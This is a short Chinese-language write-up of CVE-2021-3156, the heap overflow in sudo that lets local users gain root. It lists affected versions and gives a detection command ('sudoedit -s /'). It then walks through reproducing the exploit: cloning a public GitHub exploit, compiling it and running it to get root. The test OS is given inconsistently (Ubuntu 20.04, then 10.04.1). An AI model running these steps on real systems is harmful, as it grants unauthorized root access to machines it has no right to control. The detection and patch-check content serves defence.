0x01 CVE-2021-3156: 缓冲区溢出漏洞
在sudo解析命令行参数的方式中发现了基于堆的缓冲区溢出。任何本地用户(普通用户和系统用户,sudoer和非sudoers)都可以利用此漏洞,而无需进行身份验证,攻击者不需要知道用户的密码。成功利用此漏洞可以获得root权限。
0x02 影响版本
Sudo 1.8.2 - 1.8.31p2
Sudo 1.9.0 - 1.9.5p1
不受影响版本
Sudo =>1.9.5p2
0x03 漏洞检测
测试环境:ubuntu:20.04
检测是否存在
sudoedit -s /
如下以sudoedit:
开头报错则存在此漏洞
如果响应一个以usage:
开头的报错,那么表明补丁已经生效
0x04 漏洞复现exp
当前用户为普通用户
下载EXP
git clone https://github.com/blasty/CVE-2021-3156.git
进入编译一下
$ make
rm -rf libnss_X
mkdir libnss_X
gcc -std=c99 -o sudo-hax-me-a-sandwich hax.c
gcc -fPIC -shared -o 'libnss_X/P0P_SH3LLZ_ .so.2' lib.c
$ ls
Makefile README.md brute.sh hax.c lib.c libnss_X sudo-hax-me-a-sandwich
执行EXP,要选择系统
./sudo-hax-me-a-sandwich
最终执行(因为是 ubuntu10.04.1)
./sudo-hax-me-a-sandwich 1
提权成功
exp地址
https://github.com/blasty/CVE-2021-3156.git